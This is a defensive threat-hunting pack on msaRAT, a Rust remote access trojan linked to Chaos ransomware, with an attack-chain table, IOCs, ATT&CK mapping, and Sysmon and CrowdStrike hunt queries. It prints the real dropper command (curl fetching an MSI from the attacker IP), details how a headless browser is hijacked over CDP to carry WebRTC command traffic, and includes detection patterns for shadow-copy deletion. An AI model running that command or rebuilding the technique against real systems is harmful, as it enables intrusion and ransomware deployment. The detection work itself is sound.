Chaos Ransomware · msaRAT: Living off the Browser
Executive Summary
Cisco Talos published a technical analysis on 2026-07-23 of msaRAT, a Rust remote access trojan attributed to the Chaos ransomware-as-a-service group. The attacker objective is a command channel that survives network-tier detection: msaRAT is deployed after hands-on-keyboard access is already established, and before the encryptor runs.
The tradecraft is the point. msaRAT locates Chrome or Edge on the victim host, launches its own copy of that browser in headless mode with the CDP remote-debugging port enabled, connects to it over a WebSocket on 127.0.0.1, disables Content Security Policy with Page.setBypassCSP, registers five callbacks with Runtime.addBinding (msaOpen, msaClose, msaError, msaMessage, dataAck) and injects JavaScript with Runtime.evaluate. That JavaScript does all the networking. It pulls STUN/TURN configuration from a Cloudflare Workers endpoint, negotiates a WebRTC DataChannel whose SDP answer deliberately carries no ICE candidates so that every byte is forced through global.turn.twilio.com, and then relays C2 frames that are encrypted twice: DTLS by the browser, plus a ChaCha-Poly1305 layer keyed by an ECDH exchange inside the RAT.
The consequence for defenders is blunt. All network traffic from the RAT process itself is loopback only. Every external byte leaves from a signed, trusted browser process, headed for Cloudflare and Twilio infrastructure that almost every enterprise allowlists. Firewall, proxy and NetFlow tiers see a browser doing browser things.
Delivery is deliberately dull by comparison: curl.exe pulls update_ms.msi into C:\ProgramData from an attacker host, over plain HTTP on TCP/443, which slips past firewall rules that trust the port number without inspecting the protocol. The MSI impersonates a Windows update, and its custom action CA_Run_EA2AEBC3 fires on InstallFinalize to load lib.dll from the MSI Binary table entry Bin_lib_EA2AEBC3 straight into memory. The DLL exports a single function named RUN.
Defender priority: the two published atomic indicators can be rotated tomorrow. The technique cannot. Hunt for chrome.exe or msedge.exe launched with --remote-debugging-port and --headless by a parent that is not a browser and not a sanctioned automation runner (Q1). That single behavioral query survives full infrastructure rotation and is the highest-value detection in this pack.
Source Review & Web Hunter Notes
| Tier | Source | Key finding | Carry forward |
|---|---|---|---|
| 1 | Cisco Talos, 2026-07-23 | Primary analysis. Full infection chain, CDP bindings, WebRTC signalling design, ChaCha-Poly1305 plus ECDH, loopback-only RAT egress, ClamAV and Snort coverage. | Yes |
| 1 | Talos IOC repository | Official indicator file. Exactly two entries: the staging IP and the Cloudflare Workers signalling host. No file hashes published. | Yes |
| 2 | The Hacker News | Names the concrete launch flags (--headless=new, --remote-debugging-port, --user-data-dir) and states the RAT process talks to 127.0.0.1 and nothing else. | Yes |
| 2 | Help Net Security | Six fixed environment-variable paths for browser discovery, registry fallback for Chrome only. HeadlessChrome user agent is the one network-visible artefact. | Yes |
| 2 | BleepingComputer | Confirms ChaCha20-Poly1305 plus ECDH and the deliberate no-P2P TURN routing. | Partial |
| 2 | Security Affairs | Independent restatement. Adds certutil.exe activity in ProgramData as a companion detection signal. | Partial |
| 1 | Talos, Chaos RaaS background | Group context: first confirmed February 2025, big-game hunting, double extortion, spam flood then vishing then Quick Assist then RMM abuse. | Yes |
Decisions taken
- No file hashes ship as indicators. Talos published none for
lib.dllorupdate_ms.msi. Secondary reporting refers loosely to "a file hash" in the indicator set, but the official IOC file does not contain one. The IOC appendix therefore carries labelledREPLACE_WITH_placeholders rather than an invented value. - Table 1 and Table 2 of the Talos report are images, so the exact six environment-variable paths and the full browser flag list are not recoverable from the fetched text. Queries are built on the flag names that appear in prose across three sources (
--headless,--remote-debugging-port,--user-data-dir) rather than on a reconstructed flag string. - Chaos initial access is not covered by this pack. Talos does not state how the analysed host was reached. The group's documented playbook (spam flood, vishing, Quick Assist, RMM tooling) is carried into the hardening section only.
Hunt Brief & Attack Chain
Attack chain
| # | Step | Telemetry | Hunt angle |
|---|---|---|---|
| 1 | Operator already has execution on a Windows host (vishing plus Quick Assist plus RMM, per prior Chaos TTPs) | ProcessRollup2, RMM install events | Out of scope for this pack. Covered in Hardening. |
| 2 | curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi | ProcessRollup2, NetworkConnectIP4 | Q5, Q6, Q9. Plain HTTP pinned to :443 is an anomaly on its own. |
| 3 | MSI executed. Custom action CA_Run_EA2AEBC3 fires on InstallFinalize | ProcessRollup2 (msiexec), MsiInstaller event log | Q7, Q8. MSI executing out of ProgramData. |
| 4 | lib.dll loaded to memory from MSI Binary table Bin_lib_EA2AEBC3, export RUN called | Module-load telemetry (tenant dependent) | GAP In-memory load from an MSI Binary table leaves no file-write event. See Coverage Map. |
| 5 | Tokio runtime starts. Browser located via environment variables, then registry fallback for Chrome | RegGenericValueUpdate reads are not logged | GAP Registry reads are not telemetry. Not huntable. |
| 6 | Chrome or Edge launched headless via CreateProcessW with the CDP debug port and a malware-chosen user-data-dir | ProcessRollup2 | Q1, Q2, Q3, Q4. Highest-value step. |
| 7 | RAT connects to 127.0.0.1, GETs /json/list/, opens the CDP WebSocket, creates a tab | NetworkConnectIP4, NetworkListenIP4 | Q11. Loopback-only process profile. |
| 8 | Page.setBypassCSP, five Runtime.addBinding calls, Runtime.evaluate JavaScript injection | CDP message capture (rare) | GAP No EDR field carries CDP method names. Native hunt only. |
| 9 | Browser GETs STUN/TURN config from the Cloudflare Workers endpoint with spoofed Microsoft Origin and Referer headers | DnsRequest, proxy logs | Q9, Q10. HeadlessChrome user agent at the proxy. |
| 10 | WebRTC DataChannel established through global.turn.twilio.com, random 5 to 20 character channel name, double encryption | DnsRequest, NetworkConnectIP4 | Q10. Only meaningful when correlated with Q1. |
| 11 | Interactive C2. Shell commands, screenshots, file transfer over the DataChannel | ProcessRollup2 children of the RAT host process | Generic post-exploitation hunting. |
| 12 | Chaos encryptor staged. Shadow copies and backup catalogs destroyed, ransom note written | ProcessRollup2 | Q12. |
Hunt hypotheses (ordered by fidelity)
| # | Hypothesis | MITRE | Telemetry | Expected FP | Conf |
|---|---|---|---|---|---|
| H1 | A browser binary was started with a CDP remote-debugging port and headless mode by a parent that is neither a browser nor a sanctioned automation runner. | T1219, T1071.001 | ProcessRollup2 | Puppeteer / Playwright / Selenium CI, PDF render services, Electron shells | High |
| H2 | A browser was pointed at a user-data directory under ProgramData or a temp path, which no interactive user profile ever does. | T1219, T1564 | ProcessRollup2 | Kiosk imaging, Citrix profile redirection | High |
| H3 | A browser process was spawned by msiexec.exe, rundll32.exe or a script host. | T1218.007 | ProcessRollup2 | First-run browser installers | High |
| H4 | A browser is running under SYSTEM or a service SID, meaning there is no interactive session behind it. | T1219, T1564 | ProcessRollup2 | Rare. Some kiosk and digital-signage stacks | High |
| H5 | A LOLBin download utility pulled an .msi into C:\ProgramData, which was then installed from that path. | T1105, T1218.007 | ProcessRollup2 | Software-distribution agents (SCCM, Intune, PDQ, RMM) | Medium |
| H6 | A command line contains a plain http:// URL explicitly pinned to port 443. | T1105, T1571 | ProcessRollup2 | Very rare. Some misconfigured internal tooling | High |
| H7 | An unsigned or low-prevalence process holds repeated loopback sessions while a browser it did not previously own is egressing. | T1219, T1090.001 | NetworkConnectIP4 | Dev tooling, local proxies, agent IPC, Docker | Medium |
| H8 | A browser process resolved a workers.dev host and a Twilio TURN relay on a host with no interactive browser session. | T1071.001, T1090.002 | DnsRequest | High. Legitimate WebRTC and real workers.dev SaaS | Medium |
| H9 | Published msaRAT infrastructure was contacted directly. | T1071.001 | NetworkConnectIP4, DnsRequest | None | High (perishable) |
| H10 | Shadow copies or backup catalogs were destroyed, indicating the Chaos encryptor is imminent. | T1490, T1486 | ProcessRollup2 | Backup software pruning its own catalogs | High |
Consolidated IOC Table
| Type | Value | Conf | Action | Context | Expiry |
|---|---|---|---|---|---|
| ipv4 | 172.86.126.18 | High | detect | MSI staging host. Serves update_ms.msi over plain HTTP on TCP/443. | 2027-01-24 |
| domain | is-01-ast.ols-img-12.workers.dev | High | detect | Cloudflare Workers endpoint used for WebRTC signalling (SDP offer and answer). Drops out of the path once the DataChannel is live. | 2027-01-24 |
| url path | /update_ms.msi | High | hunt | Dropper path on the staging host. | 2026-10-24 |
| url path | /token/v1/{UID} | Medium | hunt | Signalling endpoint on the Workers host. GET returns ICE config, POST carries the SDP offer. | 2026-10-24 |
| filename | update_ms.msi | High | hunt | Dropper, impersonates a Windows update in its MSI property table. | 2026-10-24 |
| filename | lib.dll | Medium | hunt | msaRAT payload. Loaded to memory, so it may never touch disk. Generic name, hunt only. | 2026-10-24 |
| MSI artefact | CA_Run_EA2AEBC3 / Bin_lib_EA2AEBC3 | High | hunt | Custom action name and Binary table entry. Excellent for retro-hunting collected MSI samples. | 2027-01-24 |
| export | RUN | Medium | enrich | Single export of lib.dll, called by the MSI custom action. | 2026-10-24 |
| CDP binding | msaOpen, msaClose, msaError, msaMessage, dataAck | High | hunt | Five Runtime.addBinding names. The family is named after them. Strong string-scan signature. | 2027-01-24 |
| legit infra | stun2.l.google.com, global.turn.twilio.com | High | enrich | Abused legitimate services. Do not block. Value only as correlation context alongside Q1. | n/a |
| user agent | HeadlessChrome | Medium | hunt | The one artefact the network still gets to see, on the signalling requests. | 2026-10-24 |
| sha256 | none published | n/a | n/a | Talos published no hashes. Placeholders only in the import CSV. Do not substitute a guessed value. | n/a |
| vendor sig | Win.Downloader.ChaosRaas-10060321-0 | High | enrich | ClamAV signature published by Talos. | n/a |
| vendor sig | Snort 2: 1:66840, 1:66841, 1:66839 · Snort 3: 1:301587, 1:66839 | High | enrich | Talos SIDs. Confirm these are enabled if you run Snort or Cisco Secure Firewall. | n/a |
Perishability: both atomic indicators are rented infrastructure. The Workers subdomain is free to reissue and the staging IP is disposable. Treat Q1 through Q4 as the durable detections and these two rows as a fast, cheap retro-sweep.
Affected Surface & Telemetry Matrix
| Surface | Required telemetry | Priority | Gap risk |
|---|---|---|---|
| Windows endpoints with Chrome or Edge installed | ProcessRollup2 / SyntheticProcessRollup2 with CommandLine captured | Critical | Low. If command-line capture is off in the sensor policy, the entire pack collapses to Q4 and Q9. Verify first. |
| Windows Installer service | ProcessRollup2 for msiexec, plus the MsiInstaller application log | High | Medium. In-memory Binary-table loads produce no file write. |
| Host loopback stack | NetworkConnectIP4, NetworkListenIP4 | Medium | High. Many tenants suppress or sample loopback connection events. Confirm before trusting Q11. |
| DNS resolution path | DnsRequest with ContextBaseFileName | High | Medium. If DNS is forwarded through a corporate resolver without per-process attribution, Q10 loses its discriminator. |
| Web proxy / TLS inspection | HTTP request logs with user agent, Origin, Referer | Medium | High. HeadlessChrome user agent is only visible where you terminate or inspect. |
| Perimeter firewall | Protocol-aware inspection, not port-based rules | High | Critical. Plain HTTP on TCP/443 is precisely the case a port-only rule waves through. |
| Browser management plane | Chrome and Edge enterprise policy state (GPO or Intune) | Critical | Low. This is the single control that removes the technique. See Hardening. |
| Backup and volume shadow storage | ProcessRollup2, backup application logs | High | Low. |
ATT&CK Mapping
| Tactic | Technique | Observed behavior | Query / control |
|---|---|---|---|
| Command and Control | T1219 Remote Access Tools | Headless browser driven over CDP acts as the transport for an interactive RAT. | Q1, Q2, Q3, Q4, Q11 |
| Command and Control | T1071.001 Application Layer Protocol: Web Protocols | Signalling over HTTPS to a Cloudflare Workers endpoint with spoofed Microsoft Origin and Referer. | Q9, Q10 |
| Command and Control | T1090.002 Proxy: External Proxy | SDP answer intentionally omits ICE candidates so all traffic is forced through a Twilio TURN relay. | Q10 |
| Command and Control | T1573.002 Encrypted Channel: Asymmetric Cryptography | ECDH key exchange on a 0xFE handshake frame, then ChaCha-Poly1305 inside DTLS. | Not directly detectable. Coverage gap. |
| Command and Control | T1571 Non-Standard Port | Plain HTTP served on TCP/443 to defeat port-only firewall rules. | Q6, firewall control H-I3 |
| Command and Control | T1102 Web Service | Cloudflare Workers used as a dead-drop signalling relay, then dropped from the path. | Q10 |
| Command and Control | T1105 Ingress Tool Transfer | curl.exe pulls the MSI into ProgramData. | Q5, Q6, Q8, Q9 |
| Defense Evasion | T1218.007 System Binary Proxy Execution: Msiexec | MSI custom action CA_Run_EA2AEBC3 loads lib.dll from the Binary table into memory. | Q3, Q7, Q8 |
| Defense Evasion | T1620 Reflective Code Loading | DLL never written to disk. Loaded directly from the MSI Binary table, export RUN. | Coverage gap. Native hunt N4. |
| Defense Evasion | T1036.005 Masquerading: Match Legitimate Name or Location | MSI property table impersonates a Windows update. Traffic impersonates Microsoft via Origin and Referer headers. | Q7, native hunt N5 |
| Defense Evasion | T1562.001 Impair Defenses | Page.setBypassCSP disables Content Security Policy in the controlled browser. | Coverage gap. Control H-I1 removes the capability. |
| Execution | T1059.007 Command and Scripting Interpreter: JavaScript | Runtime.evaluate injects plaintext JavaScript from the binary's .rdata section. | Coverage gap. Control H-I1. |
| Discovery | T1518 Software Discovery | Browser located via six environment-variable paths, then a registry fallback for Chrome. | Not huntable. Registry reads are not logged. |
| Impact | T1490 Inhibit System Recovery | Chaos destroys shadow copies and backup catalogs before encrypting. | Q12 |
| Impact | T1486 Data Encrypted for Impact | Chaos encryptor with multi-threaded selective encryption, plus double extortion. | Q12, control H-S2 |
| Initial Access | T1566 Phishing / T1598 Vishing | Prior Chaos playbook: spam flood, then a voice call impersonating IT, then Quick Assist. | Controls H-N1, H-N2 |
Native Audit-Log Hunts (non-CQL)
N1 · Sysmon Event ID 1 (Process Create)
Filter Image ending in chrome.exe or msedge.exe where CommandLine contains --remote-debugging-port. Sysmon adds what Falcon does not: OriginalFileName and the signature fields, which let you separate a genuine Google or Microsoft binary from a renamed copy.
N2 · Sysmon Event ID 3 (Network Connect)
Loopback connections are recorded here even when EDR suppresses them. Look for a non-browser Image connecting to 127.0.0.1 on a high ephemeral port within seconds of a Sysmon EID 1 browser launch on the same host.
N3 · Sysmon Event ID 22 (DNS Query)
Per-process DNS attribution for workers.dev and turn.twilio.com lookups. This is the fallback when Falcon DnsRequest lacks process context in your tenant.
N4 · Windows Application log, source MsiInstaller
Event IDs 1033 (product installed) and 11707 (install completed successfully) record the product name from the MSI property table. Hunt for products claiming to be a Windows update that were installed from C:\ProgramData, and cross-check against your patching system's own inventory. Anything the patch system did not install is a lead.
N5 · Proxy / TLS-inspection logs
Requests carrying a HeadlessChrome user agent. Then, on those same requests, an Origin or Referer claiming a Microsoft site while the destination host is a workers.dev subdomain. That mismatch is the single best network-tier signal in this campaign.
N6 · Perimeter firewall / IDS
Any session where the negotiated protocol is plain HTTP but the destination port is 443. Confirm Talos Snort SIDs 1:66839, 1:66840, 1:66841 (Snort 2) and 1:301587, 1:66839 (Snort 3) are enabled, and that ClamAV signature Win.Downloader.ChaosRaas-10060321-0 is current.
N7 · Browser policy audit
On a sample of endpoints, read chrome://policy and edge://policy (or the registry keys in Playbook P1) and confirm RemoteDebuggingAllowed is present and set to Disabled. A host where the policy is absent is a host where this technique still works.
N8 · Retro-hunt collected MSI samples
Any MSI held in your sandbox or mail-gateway archive: dump the CustomAction and Binary tables and string-search for CA_Run_ prefixed actions paired with a Bin_lib_ Binary entry, and for exports named RUN. Also string-scan for the five binding names msaOpen, msaClose, msaError, msaMessage, dataAck.
CrowdStrike LogScale CQL Hunt Queries
Looks for: the one step msaRAT cannot rotate away. A browser binary started in headless mode with the CDP remote-debugging port enabled, by a parent that is not itself a browser. FP: browser-automation frameworks do exactly this. Baseline your CI and QA fleet first, then exclude those parents and hostnames, not the technique.
// HUNT: Chrome/Edge launched headless with a CDP debug port by a non-browser parent // MITRE: T1219 · T1071.001 · T1562.001 // CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 with CommandLine capture // FALSE POSITIVES: Puppeteer/Playwright/Selenium runners, Electron shells, PDF render services #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(chrome|msedge)\.exe$/i | CommandLine=/--remote-debugging-(port|pipe)/i | CommandLine=/--headless/i | ParentBaseFileName!=/^(chrome|msedge|firefox|brave|opera|explorer|userinit)\.exe$/i // TUNING: baseline 14 days, then exclude only the parents you can name and justify // TUNING: | ParentBaseFileName!=/^(node|python|pwsh|java|dotnet)\.exe$/i // TUNING: | ComputerName!=/^(BUILD|CI|QA)-/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, SHA256HashData], limit=200)
Looks for: msaRAT supplies its own profile directory so the hijacked browser never touches the user's real profile. No interactive user session ever runs a browser out of ProgramData. FP: kiosk imaging and Citrix profile redirection can legitimately relocate the profile. Confirm the path against your VDI standard before dismissing a hit.
// HUNT: Browser launched with a --user-data-dir under ProgramData or a temp path // MITRE: T1219 · T1564 // CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: kiosk/imaging tooling, Citrix profile redirection, packaged browser tests #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(chrome|msedge)\.exe$/i | CommandLine=/--user-data-dir/i | CommandLine=/(programdata|\\temp\\|\\appdata\\local\\temp|\\windows\\temp|\\public\\)/i // TUNING: exclude your VDI profile root only, never the whole ProgramData branch // TUNING: | CommandLine!=/--user-data-dir=.{0,120}\\Citrix\\/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine], limit=200)
Looks for: the direct parent relationship in the msaRAT chain. The MSI custom action loads the RAT in-process under msiexec.exe, so the browser it launches is a child of msiexec. Catches the technique even if the flags change.
// HUNT: Browser process spawned by msiexec, rundll32, a script host or a download tool // MITRE: T1218.007 · T1219 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: MSI-packaged browser installers launching the browser once at first run #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(chrome|msedge)\.exe$/i | ParentBaseFileName=/^(msiexec|rundll32|wscript|cscript|mshta|curl|certutil|regsvr32)\.exe$/i // TUNING: first-run installer launches carry a make-default or welcome-page argument // TUNING: | CommandLine!=/--make-default-browser/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: a browser with no human behind it. If the operator ran msaRAT from a service or an elevated RMM context, the browser it spawns inherits SYSTEM (S-1-5-18), LOCAL SERVICE (S-1-5-19) or NETWORK SERVICE (S-1-5-20). This query needs no command line, so it still works where command-line capture is disabled.
// HUNT: Browser process running as SYSTEM / LOCAL SERVICE / NETWORK SERVICE // MITRE: T1219 · T1564 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 (no CommandLine needed) // FALSE POSITIVES: rare. Some kiosk and digital-signage stacks run a browser as a service. #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(chrome|msedge)\.exe$/i | UserSid=/^S-1-5-(18|19|20)$/ // TUNING: | ComputerName!=/^(KIOSK|SIGNAGE)-/i | table([@timestamp, ComputerName, UserSid, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: the exact delivery step. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi. Written broadly enough to catch the same pattern with certutil or bitsadmin and a rotated host.
// HUNT: LOLBin download utility fetching an .msi into ProgramData // MITRE: T1105 · T1218.007 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: a small number of packaging agents stage MSIs this way. Name them, then exclude them. #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(curl|certutil|bitsadmin|wget)\.exe$/i | CommandLine=/\.msi/i | CommandLine=/programdata/i // TUNING: | ParentBaseFileName!=/^(ccmexec|intunemanagementextension|pdqdeployrunner)\.exe$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: the protocol and port mismatch that lets the download cross a port-only firewall rule. http:// explicitly pinned to :443 is almost never legitimate and is independent of the specific host, so it survives infrastructure rotation.
// HUNT: Plain-HTTP URL explicitly pinned to port 443 in any process command line // MITRE: T1105 · T1571 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: rare. Some internal tooling and health-check scripts are misconfigured this way. #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | CommandLine=/http:\/\/[^\s]+:443/i // TUNING: | CommandLine!=/http:\/\/(localhost|127\.0\.0\.1):443/i | table([@timestamp, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine], limit=200)
Looks for: step 3 of the chain. An MSI installed out of ProgramData, a user profile, Windows\Temp or Public. FP: software-distribution agents stage MSIs in ProgramData all day. Exclude by parent process, never by path, or you will exclude the attack along with the noise.
// HUNT: msiexec.exe installing from a user-writable directory // MITRE: T1218.007 · T1036.005 // CONF: medium FP: medium COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: SCCM, Intune, PDQ, Ninja and other agents that stage MSIs under ProgramData #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^msiexec\.exe$/i | CommandLine=/(\\programdata\\|\\users\\|\\windows\\temp\\|\\public\\)/i // TUNING: exclude by PARENT, not by path. The path is the signal. // TUNING: | ParentBaseFileName!=/^(ccmexec|intunemanagementextension|pdqdeployrunner|ninjarmmagent)\.exe$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: the download and the install as a pair on the same host inside one search window, which is far more specific than either half alone. FP: patch agents do download-then-install legitimately. The discriminator is the parent process in the collected rows, so read the collect output before triaging.
// HUNT: Same host runs a download utility AND an MSI install touching ProgramData // MITRE: T1105 · T1218.007 // CONF: medium FP: medium COST: medium | REQUIRES: ProcessRollup2 // FALSE POSITIVES: patch and packaging agents that download then install from ProgramData #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(curl|certutil|bitsadmin|wget|msiexec)\.exe$/i | CommandLine=/programdata/i | groupBy([ComputerName], function=[collect([FileName, ParentBaseFileName, CommandLine], limit=25), count(field=FileName, distinct=true, as=DistinctTools)]) | DistinctTools >= 2 // TUNING: run over a 24h window first. Widening past 7d inflates cost with no fidelity gain. // TUNING: drop hosts whose collected rows show only your patch agent as the parent | sort(DistinctTools, order=desc, limit=200)
Looks for: direct contact with the two indicators Talos published. Run this once over the maximum retention you have, then stop relying on it. Both values are disposable.
// HUNT: Direct hits on published msaRAT infrastructure (retro-sweep) // MITRE: T1071.001 · T1105 // CONF: high FP: low COST: low | REQUIRES: NetworkConnectIP4, DnsRequest // FALSE POSITIVES: none. Any hit is an incident. #event_simpleName=/^(NetworkConnectIP4|DnsRequest)$/ | RemoteAddressIP4="172.86.126.18" or DomainName=/ols-img-12\.workers\.dev$/i // TUNING: not required. Escalate every hit directly. | table([@timestamp, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, DomainName], limit=200)
Looks for: the browser-side half of the C2. FP: genuinely high on its own. Twilio TURN carries real WebRTC for real products, and workers.dev is Cloudflare's shared deployment domain issued to every Workers account. Do not block either. This query is only worth alerting on when the same host and time window also matches Q1 or Q4, meaning the browser had no user session behind it.
// HUNT: Browser resolving a workers.dev signalling host and a Twilio TURN relay // MITRE: T1071.001 · T1090.002 · T1102 // CONF: medium FP: high COST: medium | REQUIRES: DnsRequest with ContextBaseFileName // FALSE POSITIVES: Teams, Zoom, Twilio Video and any real WebRTC app. Real workers.dev SaaS. #event_simpleName=/^DnsRequest$/ | DomainName=/(\.workers\.dev|turn\.twilio\.com)$/i | ContextBaseFileName=/^(chrome|msedge)\.exe$/i | groupBy([ComputerName, ContextBaseFileName, DomainName], function=count(as=Lookups)) // TUNING: allowlist the workers.dev hosts your business actually uses, then review the remainder // TUNING: | DomainName!=/^(status|api)\.example\.workers\.dev$/i // TUNING: only escalate hosts that also appear in Q1 or Q4 in the same window | sort(Lookups, order=desc, limit=200)
Looks for: the RAT's own network profile. Talos states every connection the msaRAT process makes is to 127.0.0.1, because the browser does all the external work. A process whose entire network footprint is loopback, sitting next to a browser that is egressing, is the shape of this implant. FP: very high in isolation. Dev tooling, local proxies, agent IPC and Docker all look like this. Baseline before you alert.
// HUNT: Non-browser process holding repeated loopback sessions (CDP client shape) // MITRE: T1219 · T1090.001 // CONF: medium FP: high COST: medium | REQUIRES: NetworkConnectIP4 with loopback retained // FALSE POSITIVES: dev tooling, local proxies, EDR/agent IPC, DB clients, Docker Desktop #event_simpleName=/^NetworkConnectIP4$/ | RemoteAddressIP4="127.0.0.1" | ContextBaseFileName!=/^(chrome|msedge|firefox|svchost|code|node|python|teams|outlook|slack)\.exe$/i | groupBy([ComputerName, ContextBaseFileName], function=[count(as=LoopbackConns), collect([RemotePort], limit=15)]) | LoopbackConns > 5 // TUNING: baseline 7 days and keep only ContextBaseFileName values seen on under 1% of hosts // TUNING: | ContextBaseFileName!=/^(com\.docker\.backend|ssh|mysqld|nginx)\.exe$/i // TUNING: confirm your sensor policy retains loopback connections before trusting an empty result | sort(LoopbackConns, order=desc, limit=200)
Looks for: the step that follows msaRAT. If this fires you are minutes from encryption, not hours. FP: backup products prune their own catalogs on a schedule. Exclude the specific backup agent parent, then treat everything else as an incident.
// HUNT: Shadow copy / backup catalog destruction ahead of the Chaos encryptor // MITRE: T1490 · T1486 // CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: backup software pruning its own catalogs, imaging and sysprep workflows #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(vssadmin|wmic|wbadmin|bcdedit|powershell|pwsh|diskshadow)\.exe$/i | CommandLine=/(delete\s+shadows|shadowcopy\s+delete|delete\s+catalog|recoveryenabled\s+no|ignoreallfailures|win32_shadowcopy)/i // TUNING: exclude only your named backup agent as the parent process // TUNING: | ParentBaseFileName!=/^(veeam|backupexec|acronis|commvault)[a-z]*\.exe$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Field note: every field used above is a standard Falcon data-model field. RemotePort and ContextProcessId exist in both string and _decimal forms depending on repo and sensor version. If a numeric comparison on RemotePort returns nothing in Q11, switch to RemotePort_decimal. Loopback retention in NetworkConnectIP4 is tenant-configurable, so ⚠ validate in tenant before treating an empty Q11 result as a clean bill of health.
CrowdStrike Custom IOA Recommendations
Three of the twelve queries are strong enough to promote to Custom IOAs. The rest stay as scheduled hunts.
IOA-1 · Browser started with a CDP remote-debugging port by a non-browser parent
| Field | Value |
|---|---|
| Rule group | Windows · Process Creation |
| Action | Start with Detect at Medium. Promote to High after 14 days of clean baseline. Do not set Prevent until your automation fleet is fully excluded. |
| Image filename | .*\\(chrome|msedge)\.exe |
| Command line | .*--remote-debugging-(port|pipe).* |
| Parent image filename | Exclude .*\\(chrome|msedge|firefox|explorer)\.exe |
| Exclusions | Named CI, QA and build hosts. Named automation parents (node, python, java, dotnet) only where browser automation is an approved business process. |
| Deployment path | Endpoint security > Custom IOA rule groups > new Windows rule group > assign to a pilot host group first. |
IOA-2 · Browser process spawned by msiexec or rundll32
| Field | Value |
|---|---|
| Rule group | Windows · Process Creation |
| Action | Detect at High. This has no legitimate steady-state analogue outside a first-run installer. |
| Image filename | .*\\(chrome|msedge)\.exe |
| Parent image filename | .*\\(msiexec|rundll32|mshta|wscript|cscript)\.exe |
| Exclusions | Command line containing --make-default-browser, for the browser-installer first-run case. |
IOA-3 · Plain-HTTP URL pinned to port 443
| Field | Value |
|---|---|
| Rule group | Windows · Process Creation |
| Action | Detect at Medium. Cheap, host-independent, and it survives infrastructure rotation. |
| Command line | .*http://[^ ]+:443.* |
| Exclusions | Loopback and localhost targets. |
Investigate-only: Q8, Q10 and Q11 must not become IOAs. Q10 and Q11 fire on legitimate infrastructure and legitimate local IPC, and Q8 is an aggregation that has no single-event form. Run them as scheduled searches feeding a hunt queue, and correlate their output against IOA-1 hits.
Machine-Readable IOC Appendix
type,value,action,severity,expiration,description,tags ipv4,172.86.126.18,detect,high,2027-01-24,msaRAT MSI staging host (plain HTTP on TCP/443),campaign:ChaosMsaRAT domain,is-01-ast.ols-img-12.workers.dev,detect,high,2027-01-24,msaRAT WebRTC signalling relay,campaign:ChaosMsaRAT sha256,REPLACE_WITH_LIBDLL_SHA256,prevent,critical,2027-01-24,msaRAT lib.dll payload (no hash published by Talos),campaign:ChaosMsaRAT sha256,REPLACE_WITH_UPDATEMSMSI_SHA256,prevent,critical,2027-01-24,update_ms.msi dropper (no hash published by Talos),campaign:ChaosMsaRAT # DO NOT IMPORT: stun2.l.google.com and global.turn.twilio.com are legitimate services. # Blocking them breaks real WebRTC. Use them as correlation context only. # workers.dev is Cloudflare shared infrastructure. Block the single host above, never the parent domain.
BEHAVIOR-1 chrome.exe|msedge.exe launched with --remote-debugging-port AND --headless
by a parent that is not a browser (highest value, technique-level)
BEHAVIOR-2 chrome.exe|msedge.exe launched with --user-data-dir under
C:\ProgramData, %TEMP%, C:\Windows\Temp or C:\Users\Public
BEHAVIOR-3 chrome.exe|msedge.exe whose parent is msiexec.exe or rundll32.exe
BEHAVIOR-4 chrome.exe|msedge.exe running under S-1-5-18 / S-1-5-19 / S-1-5-20
BEHAVIOR-5 Any command line containing an http:// URL pinned to :443
BEHAVIOR-6 A process whose ENTIRE network footprint is 127.0.0.1 while a browser
it spawned egresses to Cloudflare and Twilio
BEHAVIOR-7 MSI installed from C:\ProgramData whose product name claims to be a
Windows update, with no matching record in the patch system
BEHAVIOR-8 HTTP request with a HeadlessChrome user agent whose Origin/Referer
claims a Microsoft site but whose destination is a workers.dev host
Family msaRAT (Rust, Tokio async runtime)
Group Chaos ransomware-as-a-service (first confirmed February 2025)
Dropper update_ms.msi (impersonates a Windows update)
Payload lib.dll (single export: RUN)
MSI artefacts CA_Run_EA2AEBC3 custom action, fires on InstallFinalize
Bin_lib_EA2AEBC3 Binary table entry holding the DLL
CDP bindings msaOpen msaClose msaError msaMessage dataAck
CDP methods Page.setBypassCSP Runtime.addBinding Runtime.evaluate
Target.createTarget Page.enable Runtime.enable
CDP endpoint GET /json/list/ on the loopback debug port
Signalling GET and POST /token/v1/{UID} on the Workers host
Crypto DTLS (browser) + ChaCha-Poly1305 keyed by ECDH, 0xFE handshake frame
Vendor cov. ClamAV Win.Downloader.ChaosRaas-10060321-0
Snort2 1:66840 1:66841 1:66839
Snort3 1:301587 1:66839
